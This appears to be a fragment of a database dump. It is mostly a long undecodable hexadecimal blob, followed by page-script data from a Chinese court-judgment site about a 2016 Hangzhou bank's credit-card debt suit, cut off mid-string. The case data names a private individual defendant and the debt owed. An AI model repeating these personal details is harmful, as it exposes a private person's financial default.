64B3D9476F5804265D584E8658ECC57898B5E49EF4B6E50ABC74994C9B6B022348FCFF33E915EF0F4FE916F343F7C89CDBDCB1DE8B31B4338B3823D21B02A4AAAD5E77782C1E54F91B61F791C0E2A4ECCDDE848F44059434F022CC5ED50E7DE7E0E5D6FFCC1D6A63143C4403B2AC738DF77460C58861B973EE444504668772FF70DD9BC49B3A0B31781675E37DF98564158583F7525B1CF77A5B8CEE22F6823007DCC7330EEF4DB44881EA49B92F1776971B5AEEFCF479A8F794065C6C56EC43F33F4C258B4D98F08968C3F618DBB7F8D8F37D2FFCD32689F73303CAFF84F75EA4CA146D746DA5824D68D6ECB8D3B5BBEB3D109FD81FE813CE831FD28BD468E57784BACF2F092D6935A650ADC384192F688ADFC92D16CAF7E058436A93E0233683DD9B49F70ECE39783BC520D68B043DA2BF179B35BB6CD11F50F9D2AC73AC13A0D5E85248F482312BD460161F664C9A501748851FB393663CFE1FB71FBBF7174F6417E66EC261599C5E651F8DFFDE7BD603A7D3F116C8B3D7FB6660A3C9382B4BBEF5EE108CDE0B47654228184C98DCB610C21B6745341AAD22731FBD5658ECC5DCD14939FC76B91126358B9F18A368468408A70937F0221DF94943F76F2F6C179B149B2407CD32A0602E19B34678243EBD18CDFAADF79A1794C17A4D2836E1B7CDAEBAF08BCDE816B07EEEF396AEE103370E04130560D894D3BC043378B31959EE53B598711816FC1BCBB0ECFE4DDEB6151E33133CAE435419269662393A4AE1E022C466B823479E1568F6DEA4E039A6AA1B1FF843D57501E080956B3C1EBC14C0AC7F13E37D6CE01F1AF75B5F15CD664C9A6C34F08DDECC0DE38CC54D2B263AD815D83B7D7D40C33F3FCFF60EEF19AA85BC45809346B1D8611BEDA001E7C67F6F420DF189622FCB317323E105E1C1F7124147FD5A194120C27CF5A79AD18BBD62615BF6E8A75A1587FCF7F796A09805E3CD2D21FB9326C48ACD39E8E98BAEA5FECD1E6370169373A16CD76F42306276A7564ABD178B4926279395F5FF0C662EA77A90D81A1D161BE91D34102376D71750CDF7386B616F359BF5269E4E4B750E02139AE9A9B690AD63D287DFC443E17D84D0F30FB4315E88D58B31109322626F16C1FBBE8818C3F587FFF77D25737D0B0DA553F726070A6F168BD96143CD07C486C07B4CD03464FD36FC62D38DF714CFC6F681F7293161C2C10AD0BB0BE130AB6001EDE86A7F0C983547700FDD304D64B3EF995A6C05801984A45FBD48B309D76A3F12DE8B709A56436FDC01BD2FF40F2E44B3F910FAB3F7A0941C66B1178BF6BA0C6EAF845E84F7CF5B06213C951FDDD13552F395CE76A81623035FF1DA5F636E6211626F3EDA9BD1BF370BF6F3A25B156FC4D95C975AE097AAA0F053B0F7FDD844185213969B5E6308CC38DAAB960346479834F083F9174786F12ECD3323C17B66A084D90CE7963B7B7208482C89581C92A5B95D2FFCF19496560F5BD3F1099DF7CA8B08C673EF743567BE2337246293ECE7D9EB3FB81581CAA0D888BE031D0CF0A6A93C66F77DDCF7934D336670CEFE90ECEF21484C7A539AF087FE558B3569383D7D4B1F7A9AF14E9789F79783ABBA821B5611E4790B3493661360CE28662B6CEA761305538B9E394F2A669B522F7687CCF7B1B09098BA11E0346BF5CC9ABD37A360DA6F5F937680BBFE7A5CF3EBDBE41EF755DEAAC982596F6F4A8542300A52815EAABCC4462C4B2FE351F36C7FF7DEC1356464E0892F4022786F063C30991673BB9B40326A85ACF3E027384E470E56E598CF3B074ECD8220F03BFE4B33177BEFDCC8D6E11A970518A34924E5574C26B0E17096D63E9C2709B164E0BF09BFE44DEA058997413CDDD05A275A15607E606D15672C9EDBE84954D907871A788760C073ED31318119939BC052D9F5C726CAA61D1EA01D3D43F1F0DF31E1B45115730B39D99BF1820089****DB059B7480F79E965FDEA27529E002B7F371B8B5F7EE6705931A06DE51F726C598E94A5338EA7698D4847C8698CE36DC48F173F90F4CC691D45BECBD59119793769F498B11B358EE53E314055C9F1040BD3613233F0931DEE3A3F7A77A15E7D2BD6030A9C7E4341D464CEA61D9E1508A03B88385F7E380245993E24DB3F31230D84B46B3491F50AE06B88DFFB924193B507C3C64FEE5C811F5269C20F156AA6956846131615E0337F02231608A7AF37973F0CC2D4EE434A17B3498D010860DDA3CC6A43844921FF68E1B2E7D08AD4D68DE3C8410283CA45CC385DBE96FFF57C00E1B178C6630C5444ED82C88BDD7901466C03738BCF638DF6443FC644532F5D644430233F7437BB948EFBD20943A8533AF6F594C2064D0BDC41D7D471C7D5EFCA5432145BE92D810308C2AFB24F97F26CC3A211F63FE5DD81D86F4E44D4D007540CF6D74254A035476D3437460D2301EDE519B48439ABDD4CB5B64C17CF1AB46C35C7A85145EAC08D22301D9227678CC263D21D7D7AF59C3C9C1BDF3582476E583092EB057800AF70C46BC032E8A79B78C368B30217150699727883123B9364F2F98DBEA7D6E8DD4044FB78549919811C0E472179B4D88BBD990982D28CFADEBCB17CBA28C83DBE045101BA3D40BC01046B166C5EEE06F0C0E3148AD55AD5D9AE03078D463EAB405C922594A5C20C6248602BE44D2845CB2DF5654C88ECB1B78E3CF3FFEF11F239BF77B1366CCCC0F7BB580A36AC26106A7F17F82BB094153630A7D58438E0E765CD1966FC778D0A4EA3198CDA0084FE5A3458449CD68DFE6AF23C4668292841D05EFD186C6894E2EC069E6C7564C7AEF313620C240C220CC1864216368CA1B046BAF57F75A4F15B3B801B023F7A58A52ECC59A565A95C5196C06450A43B4118DF801DD677D7C7D70049B152142A24426DA10B32615C5D6096EC29B888C3822A2782F46A97D0C01712130E9CD20204A01DE9B31A36C423DC81F18830D00F095956D623B9831090C0AC0F4661362443F3DE858527F6FF614235FAC1F3C1FBB5E6C66F817ACF79E113C7D01B39835AC000FD7F87B2F58F6109262049169E6D7003BD3692773620A1DFBCD8A14EEBDF79B0585A2BC0910E1D009FEAF937A136622E618D37294DEFE7D7ADFE21F250347102FBB8CC574822471C8DEC73089D8EC3405DCCAEDFE2109C4792F5615165A0F1537D1AD73E30538C8BC2C321F6852102633A4C526D17B41BCB1173E35FE59F4FA0D51E90FD1A8512F1C42A4187DF35563AC372359FEFB1811E64913DEAEEF505DC3EFC5BAF15FD57FD6356BEB2639DC972486455BA3F4F02630A120354CACD9A6E98DDC43387FE9194D88F0DE6DC6431370784BE21E001165862D5E2AB7463D637382B3EF4D0037E3F7EF5F7E26A366358126049C32BC211084AD8E0596C0711219EFF919A084430BB5B011B7E79BD30BF65EC641DC579B181366BD50BDE6CB245C0D3011B5CC587598117370F78709626FDEAC6674A1C0FA5A9F15EFCDE4B8E54F153C09164BAEEDF82B4749E01319638D109B34FBF3F7D64BF4F4548466BC60D25BD1F88BF782D52652EECA2FCBB68478B0055380A0F729049800AF3367C82260D22CDE484B515731663396D730FEBD5D6755435D82F0F745D966BC77886A223A9A6360C27B136E131B8356AC22CD39ECB2AE8CD3A9AEB79BDF83B752C3EAB01D721BBC20506C186C95588C3A180F6C4398A749C5DEA4356CD8D37533DE2382940E0E2F516EF9BFC67960B40F79E0B871E1B477CBB30931984FC914C68231844992967BDFE20FCC652B10F01F167A42F79423EA0D6906D7D40BC20B16CD4407D3B5C1A41763314A9639D8E8235CD473D453F2179246BD17E97D80C270F6B0EACD4ABD1E7BF186FEC3324D64C3F113995A64E3F73A6C42848621B99A3B10E81D5ED74A8BE06E450842A9BB47855216FB1686012BA1F71C679D6622584D20A304108B51C391BAD6C1DFC5663FD67F33F14C8957254D18B198DB83F2D7C981ED5F0C62C18A2C0ADB057F6FD88824EEE17D47AEB712DCAC751473A40283F36A5E0472CFC5F795CEC821045810CED8FD63A2CA08C45E8C8161B0F9B3BB74899B3C5E42AD334576076F323624FBC763A36908B1608DF8EE56CFF5CC3DF363828DF7145C58617560482095E5F18251B1D7D580F4FF0C98B2E1B54F2E43707D6C80F7A8A25934CBCD09B182C18BCDA2332A34267E5833AFF5635CF3830FAEFB2C00766315CFD0C9049B4598402B5184E2666F08C0A94C922F980093A429C7A47855D76B1BEF1723184834295841A96393663C2031359164FA0F02FD797A5A72B5F7189B3A0C8919EF7E5D2CE966118966B906CE8129D224A2053B4372B7AD7CCD6A2BF73B17C320458409D6E99562CC9ABD43070F3275032EF5C42A917D6F5E8F66C08432678E18908A0D2CA1C87D7E12135E4BE60B7D337DD13D82F00D3DDBF73EA0A5A5F462B382A808B706B8090C8B43147E016DB0F5013623C903FB239A508448EEAD9A7B6F124CAC75795BC60D332A16916ECA7A70A54D949788256ABB09566C46450507B3EEE2C55E2C0483B90663D45D300028DFFA8DF19E36E30D81775D43622BC08417615CD963EDA0C786994913501ED9B07FB3C32159002E7563AC1846672****AA85BF1BFD89481FF1F7DDD531F253D00A6056A05315F2C8AC5DE8B30474192CDC690E2CDF00665BB213810299407672348F4742723EF1BA2B717A16031005B97CC6650B0FA1646305B8E7E2CF3BF38C7834C98F409874BF7207042106A5834535121181161229DA2A5FEC6C7E254DD11D75F1B4A5AD97B2E08AEA035D032748166048BD87FDB934DAA09F4A5344E2D81FB6CC1528E0B933277213619CF48660C908CD6EF4D8A3700B40649134AE562EF4AF4DE41B1488FB1E9028B080D2B880A013842B1086F539D2A0AB7C4373C4F19ED501EFC01E0F030F3859B34E3BDADE9847ABF54E4E11416FE117C03F79B76E0F10F006712F11713097827FE02F7B893FAB977DE840905679B0F63F06693938F6452500C6CAAE154F34D07B5E9F73D0949B126CDB4959E3D56BC09BDFB065FFFC7539F1D130704206592AD2A2F967B0B061EF74C072AF52118F662067F7D6449106B36D208B2567B818657F44E1D121005451D9201EE21DB4385DC6A428498B3E2F177B349CC250F6E02F19FFCDEE353FC61A750F3A6BF8CF4775CA52C98D510A9DC4118132641E9F0E10A4A706C91F772622858B95F94D81714F7060A4FC6AC5831453477AE8C620469902158BCF75D103AA9ADF744F33B5818362B5659FDC3C28B0D01389783219818E96056536D27CC6A001FE7736E6E6052CD224CED39C5247841CB8BC9BD83FF981FD0DC7614F3CA125F76F3EEA46161D806F719EBAFADE2F09814349E4A0C295693DCBCCCC243824D720893A500BB58E2C57A3032A7CCB8C62478C337DC4D610BC67B6E8A019FCB418A9D38723BB72203FE29C4AA19C157994C4931107839E5BF66A277D511787376F76E5B73B1191128491661B3C72C7A47C5AC197DF54B67F2E9296A5103F143588F9B100347D063009F615284D8FCE330B0549018D6CB13FB9B4ECAB870FCFDF12F5AC135F7F8CE1A76189664BE433683D92C78A6F203DBE8592F46AD7DBD6A5C023DD47063DDEF4DAF9D3D5B65876405CF09696FEE34816011B1BC33DE8C083910EAFA0EFD974B8131B7DE1B14D253F336936015A459B81CFC7366C4A4264E09C63F660CA9284A0F1D6A99964DF01B1DF71BF7BD8FC48A66C10082442BC600438AF736396FDFC50C66290A510FD1205CF71322528F33BAEDBAA3DEA409ECF4E46466B9090C7957C3ABA352973FF910467D450F01B35EB017977C95AB491326759213CA30097804C19D4234E2FF337D0B4F2A8557F7ECE4D89A01CFF110F7F5BB2AF532604633FCC78622592E56B61F16E0A996FADA5C08A4B570358B26747096664930AB59C1E4982C193581CA299257AD5941604F54C36A46B1BEDF52CDDE8B00A573D4521C2C3CE11E175B12DFE4BAC609EE1695B439FAF77A41BEA95EB020A8F2A58A3469363D193846A59AC5AAA726BD307BA7E356BB6B6A45E98811A4266FB21E20BCD790D9EEC41A8D5B8D87127C27967DDF2CF026F06ED0CC874654688409C3E0972F4E97E2329851D214139C0B0D9AB4BB79DD08C3EC4D2A2696A8B1BB88C52654AD1E7B2EFC49CD1F422F521D3303117807EA90C2ECCCAAC75190D69B45C9DAAC2E4943300E6FE97801DD230831F8A9F7999B70B96166D1B0370F2A4A1328D2B014BE16AADCF00264F37887981D001F23F6DADDDFF3040CF7CDDD332A19C166D4D2D1EA7AB366BD6531100E03DFA81BF81562228B5C51F7B4FB2645983DF8B506E8732F49E1557F8A18A7C2BF98301AA272767D239AE145C7D2533F10B32F6378EF4D881741E3C23C2C16AC6697DE0F6DFB5F3CC23DF1055D5E93F1D8E9E61E0726C56B69F341FF0C73BD213123D9E2C442BC179BAFF7941F5E7DA15C78036720B517B00D4F6D542C8A5DC208587817FBF3701326D171FF05984D62769C8E5C4D7CA3121154589C53F7D35E84198F19CCC1DCE62630A45E8E53D6550CE3BDB11C42783143838681856A252918D20C79C608D1A4593423470506A3264783F46DBD18E66F0902436ADDF7C369A4E104139A03768A208605EF30B321FF85E5528C4C8822277561E576004B9423BEE6D7D39BCD2082536EFFBB07080231F2027F122240EDD314A67D66DE174C20171BC91BF9A660CD6A5663852BC586C1ACD20820C4C8828B5C0117633659100C661578A2436046BC05BD81F1438C091EBF6B8D89','2018-10-08
21:04:51',0,'web',NULL),(15807945,'28e83a94-e32d-47f6-b76c-7ba92a38d012','$(function(){$(\"#con_llcs\").html(\"浏览：52次\")});$(function(){var
caseinfo=JSON.stringify({\"法院ID\":\"1060\",\"案件基本情况段原文\":\"\",\"附加原文\":\"\",\"审判程序\":\"一审\",\"案号\":\"（2016）浙0103民初8097号\",\"不公开理由\":null,\"法院地市\":\"杭州市\",\"法院省份\":\"浙江\",\"文本首部段落原文\":\"\",\"法院区域\":\"\",\"文书ID\":\"28e83a94-e32d-47f6-b76c-7ba92a38d012\",\"案件名称\":\"杭州银行股份有限公司与张宗华信用卡纠纷一审民事判决书\",\"法院名称\":\"杭州市下城区人民法院\",\"裁判要旨段原文\":\"\",\"法院区县\":\"下城区\",\"补正文书\":\"2\",\"DocContent\":\"\",\"文书全文类型\":\"1\",\"诉讼记录段原文\":\"原告杭州银行股份有限公司（以下简称杭州银行）与被告张宗华信用卡纠纷一案，原告于2016年9月18日向本院提起诉讼，诉请：1.被告归还信用卡透支本金、利息等其他费用共计31234.42元（利息、费用计算至2016年7月24日）；2.在本案中原告为实现债权而支出的全部诉讼费用由被告承担。本院适用前置程序进行送达，并于2016年11月10日受理后，依法适用简易程序，于2016年11月24日公开开庭进行审理，原告代理人葛燕泓到庭参加诉讼，被告张宗华经本院合法传唤，无正当理由拒不到庭参加诉讼。本案现已审理终结\",\"判决结果段原文\":\"\",\"文本尾部原文\":\"\",\"上传日期\":\"\\\/Date(1483113600000)\\\/\",\"案件类型\":\"2\",\"诉讼参与人信息部分原文\":\"\",\"文书类型\":null,\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null});$(document).attr(\"title\",\"杭州银行股份有限公司与张宗华信用卡纠纷一审民事判决书\");$(\"#tdSource\").html(\"杭州银行股份有限公司与张宗华信用卡纠纷一审民事判决书
（2016）浙0103民初8097号\");$(\"#hidDocID\").val(\"28e83a94-e32d-47f6-b76c-7ba92a38d012\");$(\"#hidCaseName\").val(\"杭州银行股份有限公司与张宗华信用卡纠纷一审民事判决书\");$(\"#hidCaseNumber\").val(\"（2016）浙0103民初8097号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"杭州市下城区人民法院\");$(\"#hidCaseType\").val(\"2\");$(\"#HidCourtID\").val(\"1060\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"杭州市下城区人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"民事案件\" },{ name: \"案由\", key: \"reason\", value:
\"信用卡纠纷\" },{ name: \"审理程序\", key: \"trialRound\", value: \"一审\" },{ name:
\"裁判日期\", key: \"trialDate\", value: \"2016-11-28\" },{ name: \"当事人\", key:
\"appellor\", value: \"杭州银行股份有限公司,张宗华\" }],LegalBase:
[{法规名称:\'《中华人民共和国合同法》\',Items:[{法条名称:\'第一百零七条\',法条内容:\' 第一百零七条
当事人一方不履行合同义务或者履行合同义务不符合约定的，应当承担继续履行、采取补救措施或者赔偿损失等违约责任。
\'}]},{法规名称:\'《中华人民共和国民事诉讼法》\',Items:[{法条名称:\'第一百四十四条\',法条内容:\'第一百四十四条
系统尚未收录或引用有误
\'}]}]};if ($(\"#divTool_Summary\").length > 0)
{$(\"#divTool_Summary\").ContentSummary({ data: dirData });}});$(function()
{\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"杭州银行股份有限公司与张宗华信用卡纠纷一审民事判决书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2016-12-31\\\\\",\\\\\